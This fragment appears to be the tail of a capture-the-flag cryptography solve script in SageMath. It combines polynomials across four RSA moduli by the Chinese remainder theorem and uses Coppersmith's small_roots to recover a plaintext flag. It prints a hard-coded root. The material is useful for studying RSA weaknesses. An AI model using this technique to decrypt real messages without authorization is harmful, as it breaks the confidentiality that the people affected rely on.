f = crt(F,Ns).change_ring(Zmod(Ns[0]*Ns[1]*Ns[2]*Ns[3]))
print(f.small_roots(X = 2 ** (58 * 8),epsilon = 0.03))
x = 9188843383765595152732717869563960735854186901243181659845493688642386675610699689062518689951817902641510893611339868537231465535961032531
print(long_to_bytes(bytes_to_long(b'flag{') * 2 ** (58 * 8) + x))

Categories:

Updated: